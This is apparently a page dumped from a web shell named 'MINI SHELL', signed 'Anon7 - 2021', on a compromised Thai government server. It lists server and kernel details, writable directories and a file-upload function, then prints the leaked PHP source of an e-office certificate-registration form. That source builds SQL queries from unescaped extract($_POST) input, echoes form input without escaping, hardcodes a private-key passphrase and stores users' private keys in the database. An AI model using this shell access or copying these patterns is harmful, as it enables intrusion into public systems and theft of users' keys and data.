MINI SHELL

Server : Apache/2.2.2 (Fedora)
System : Linux App1.pathumtani.go.th 2.6.20-1.2320.fc5smp #1 SMP Tue Jun 12 19:40:16 EDT 2007 i686
User : apache ( 48)
PHP Version : 5.2.9
Disable Function : NONE
Directory :  /var/www/html/pathumthani_eoffice/application/CA/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/pathumthani_eoffice/application/CA/register.php
<?
@session_start() ; 
?>
<html>
<head>
<title></title>
<META http-equiv=Content-Type content="text/html; charset=windows-874">


<style type="text/css">
<!--
body {
	margin-left: 0px;
	margin-top: 0px;
	margin-right: 0px;
	margin-bottom: 0px;
}
.comment{
	color:#F00;
	
	}

INPUT{
	FONT-SIZE: 12px; FONT-FAMILY: Tahoma,  "Microsoft Sans "; 
	}
	.preload{
	border: 1px solid #999;
	margin: 0px;
	position:relative;
	color: #000;
	background-color: #EFECFF;	
	padding-right: 5px;
	padding-left: 5px;
	padding-top: 2px;
	padding-bottom: 2px;
}
-->
</style>
<link href="css/style.css" rel="stylesheet" type="text/css">
</head>

<body>
<table width="70%" border="0" align="center" cellpadding="10" cellspacing="0">
  <tr>
    <td align="center">	

<script language="javascript">

function ValidateDoc()
{   
    var cr        = unescape("\n");
    var ErrorMsg  = "เกิดข้อผิดพลาดดังนี้ :  "+cr+cr;
    var InitLen   = ErrorMsg.length;
    var TheForm   = document.frm1;
	var emailRegEx = /^[A-Z0-9._%+-]+@[A-Z0-9.-]+\.[A-Z]{2,4}$/i;
	if (TheForm.prename.value.length < 1)
       ErrorMsg =  ErrorMsg + "คำนำหน้าชื่อ  " + cr;
	   if (TheForm.fname.value.length < 1)
       ErrorMsg =  ErrorMsg + "ชื่อ  " + cr;
	   if (TheForm.lname.value.length < 1)
       ErrorMsg =  ErrorMsg + "นามสกุล  " + cr;
	   
	if (TheForm.province.value.length < 1)
       ErrorMsg =  ErrorMsg + "จังหวัด  " + cr;
	if (TheForm.locality.value.length < 1)
       ErrorMsg =  ErrorMsg + "อำเภอ/ตำบล  " + cr;
	if (TheForm.organization.value.length < 1)
       ErrorMsg =  ErrorMsg + "ชื่อองค์กร  " + cr;
	if (TheForm.organization_unit.value.length < 1)
       ErrorMsg =  ErrorMsg + "ชื่อหน่วยองค์กร  " + cr;
	if (TheForm.common_name.value.length < 1)
       ErrorMsg =  ErrorMsg + "ชื่อสามัญ  " + cr;
	if (TheForm.email.value.length < 1)
       ErrorMsg =  ErrorMsg + "อีเมล์  " + cr;
	if (TheForm.email.value.search(emailRegEx) == -1)
       ErrorMsg =  ErrorMsg + "อีเมล์ไม่ถูกต้อง " + cr;   
	
	  
	 
	if ( ErrorMsg.length > InitLen ){
        alert( ErrorMsg );
        return (false);
    }
    return(true);
}

function genname(){
document.frm1.organization.value=document.frm1.prename.value+ ' '+document.frm1.fname.value+' '+document.frm1.lname.value
}
</script>
<?php

require_once "config/config.ini.php";
require_once "common/database.class.php";
include("../../common/CA/class.openssl.php");
$db = new database();
$x=$db->connect();




if(isset($_POST['bt_submit'])){ 
extract($_POST); 
$sql="select * from member where LOWER(email)='". strtolower( $email)."'";  
$rex=$db->query($sql);

$num=$db->numrows($rex);
if($num == 0){

$ossl = new OpenSSL(1);

$pass="sapphire";

$ossl->set_privkeypass($pass);
$ossl->generateRandomString(5);
$ossl->create_key_pair();
$ossl->set_dn($country,$province,$locality,$organization,substr($organization_unit,0,50),$common_name,$email);
$ossl->create_csr();
$ossl->export_csr_to_string();
$ossl->create_self_signed_certificate();
$ossl->export_certificate_to_string();

//echo "<textarea rows='20' cols='65'>".HTMLENTITIES($ossl->get_certificate())."</textarea><br />\n";
$ossl->export_certificate_to_file();
$url1 = "getfile.php?filename=".$ossl->get_certificate_file()."";
$url2 = "getfile.php?filename=".$ossl->get_cer_file()."";


$ossl->export_privatekey_to_string();
//echo "The Private Key:<br />\n";
//echo "<textarea rows='15' cols='65'>".HTMLENTITIES($ossl->get_privatekey())."</textarea><br />\n";
$ossl->export_privatekey_to_file();
$url2 = "getfile.php?filename=".$ossl->get_privatekey_file()."";
$db->query("INSERT INTO member(prename,fname,sname,country,province,locality,organization,organization_unit,common_name,email,public_key,private_key,
public_file,private_file,cer_file,register_date)
            VALUES('$prename','$fname','$lname','$country','$province','$locality','$organization','$organization_unit','$common_name','$email',
			'".$ossl->get_certificate()."','".$ossl->get_privatekey()."','".$ossl->get_certificate_file()."',
			'".$ossl->get_privatekey_file()."','".$ossl->get_cer_file()."',NOW())");

$sn=$db->insertid();

for($i=0;$i<(4-strlen($sn));$i++){
	$strpre.="0";
}
$array = $ossl->display_certificate_information(false); 

$strpre="ID$strpre$sn";
$sql="update  member set serial_number='$strpre' ,exp_date='".date('Y-m-d',$array[validTo_time_t])."' where id='$sn' ";
$db->query($sql);
?>
<form name="form1" method="post" action="ca_member.php">
<input type="hidden" value="<?=$strpre?>"  name="CA_SN">
<input type="hidden" value="<?=$prename?>"  name="xprename">
<input type="hidden" value="<?=$fname?>"  name="xfname">
<input type="hidden" value="<?=$lname?>"  name="xlname">
<input type="hidden" value="<?=$email?>"  name="xemail">
<input type="hidden" value="<?=$sn?>"  name="xmember_id">
<input type="hidden" value="new"  name="xfromaction">
<input type="hidden" value="user"  name="xfrom">
<div class="preload">
    <table width="100%" border="0" cellspacing="0" cellpadding="0">
      <tr>
        <td align="left"><strong >ลงทะเบียนเรียบร้อย SERAIL NUMBER:<?=$strpre?></strong><br>
          &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ระบบได้ลงทะเบียนขอใช้บริการเรียบร้อยแล้ว แต่ยังไม่สามารถใช้กุญแจอิเล็กทรอนิกส์กับระบบได้ในขณะนี้ ผู้ขอใช้บริการต้องกรอกแบบฟอมร์ ขอใช้บริการใบรับรองอิเล็กทรอนิกส์ และได้รับอนุมัติจากผู้ดูแลระบบก่อน</td>
      </tr>
      <tr>
        <td align="left">ท่านสามารถดาวน์โหลดกุญแจอิเล็กทรอนิกส์ ได้ที่นี้ <br>
          กุญแจสาธารณะ
          (Public Key):
          <?
    echo " <a href='".$url1."'  target='_blank'>".$ossl->get_certificate_file()."</a> || <a  target='_blank' href='".$url2."' >".$ossl->get_cer_file()."</a> ";
	?>
          <br>
          กุญแจส่วนตัว (Private Key):
          <?
    echo " <a  target='_blank' href='".$url2."' >".$ossl->get_privatekey_file()."</a>";
	?></td>
      </tr>
      <tr>
        <td align="right" class="comment">ผู้ขอใช้บริการควรดาวน์โหลด กุญแจอิเล็กทรอนิกส์เก็บไว้ และไม่ควรแจกจ่ายกุญแจส่วนตัว (Private Key) ให้กับผู้อื่น </td>
      </tr>
      <tr>
        <td align="center"><input type="submit" name="button" id="button2" value="กรอกขอใช้บริการใบรับรองอิเล็กทรอนิกส์"  />
        <?
        echo"<a title='ปริ้นใบคำร้อง'   target=_blank href='ca_preview.php?xrnd=".base64_encode($strpre)  ."'><img src='../../images/print.gif'  border=0 >ปริ้นใบคำร้อง</a>";
		?>
        
        </td>
      </tr>
    </table>
  </div>
</form>
<?


}else{
  echo " * มี  E-mail นี้อยู่ในระบบแล้ว!!<br><br> <a href=\"javascript:history.back()\"> ย้อนกลับ</a>";
}

}//end if 

if(empty($_POST['bt_submit'])){
?>
<form action="" method="post" name="frm1" onSubmit= "return ValidateDoc()">
<table width="700" border="0" cellspacing="0" cellpadding="5">
  <tr>
    <td colspan="2"><strong><u>กรุณากรอกข้อมูลให้ครบและถูกต้อง</u></strong><br>      <br />
</td>
    </tr>
  <tr>
    <td align="right"><strong>คำนำหน้าชื่อ</strong></td>
    <td align="left" class="comment"><input name="prename" type="text" size="50" id="prename" />
      *</td>
  </tr>
  <tr>
    <td align="right"><strong>ชื่อ</strong></td>
    <td align="left"><input name="fname" type="text" size="50" id="fname"  onBlur="genname()"/>
      <span class="comment">*</span></td>
  </tr>
  <tr>
    <td align="right"><strong>นามสกุล</strong></td>
    <td align="left"><input name="lname" type="text" size="50" id="lname"  onBlur="genname()"/>
      <span class="comment">*</span></td>
  </tr>
  <tr>
    <td  height="10"> </td>
    <td></td>
  </tr>  <tr>
    <td><div align="right"><strong>ชื่อ-นามสกุล</strong></div></td>
    <td><input name="organization" type="text" value="<?php echo trim($_POST['organization']);?>" size="50" readonly="readonly"  style="background-color:#999"/></td>
  </tr><tr>
    <td><div align="right"><strong>ตำบล/อำเภอ</strong></div></td>
    <td><input name="locality" type="text"  value="<?php echo $_POST['locality'];?>" size="50"/>
      <span class="comment">*</span></td>
  </tr>  <tr>
    <td><div align="right"><strong>จังหวัด</strong></div></td>
    <td><input name="province" type="text" value="<?php echo $_POST['province'];?>" size="50" />
      <span class="comment">*</span></td>
  </tr>
  <tr>
    <td width="184"><div align="right"><strong>ประเทศ</strong></div></td>
    <td width="496">
	<input name="country" type="text" value="TH" size="50"  style="background-color:#CCC;display:none"readonly="readonly" />
	<label>
	  <input name="textfield" type="text" id="textfield" style="background-color:#999" value="ไทย" size="50" readonly="readonly">
	  </label></td>
  </tr>

  <tr>
    <td><div align="right"><strong>อีเมล์</strong></div></td>
    <td><input name="email" type="text" value="<?php echo $_POST['email'];?>" size="50" />
      <span class="comment">*<br>
      กรุณากรอกอีเมล์ จริงเพื่อสิทธิ์ประโยชน์ของท่านเอง</span></td>
  </tr>

  <tr>
    <td><div align="right"><strong>ชื่อหน่วยงาน</strong></div></td>
    <td>
    
    <select name="organization_unit" id="organization_unit"  style="width:230px;">
                  <option  value="">เลือกชื่อหน่วยงาน</option>
                  <?
		$sql_office = "SELECT * FROM org_staffgroup WHERE groupname NOT LIKE '%Guest%' AND groupname NOT LIKE '%Administrator%' ORDER BY groupname  ASC"; 
		
		
		$Result_office = mysql_query($sql_office);
		while($rs_of = mysql_fetch_assoc($Result_office)){
			
	//	$sel=($rs_of[gid]==$_SESSION[session_gid])	?"selected":"";
			
			
			echo "<option value='$rs_of[groupname]' $sel title='$rs_of[groupname]'>$rs_of[groupname]</option>";
		}
		?>
                </select>
    
    
    
      <span class="comment">*</span></td>
  </tr>
  <tr>
    <td><div align="right"><strong>ชื่อเว็บไซด์ </strong></div></td>
    <td><input name="common_name" type="text" value="<?php echo $_POST['common_name'];?>" size="50" />
      <span class="comment">*</span></td>
  </tr>
  
  <tr>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
  </tr>
  <tr>
    <td colspan="2" align="center"><input name="bt_submit" type="submit" value="ลงทะเบียน" />
      <label>
        <input type="reset" name="Reset" id="button" value="ยกเลิก">
      </label></td>
    </tr>
</table>




</form>
<?php
}//endif
?>
	
	
	
	
	
	</td>
  </tr>
</table>
</body>
</html>

Anon7 - 2021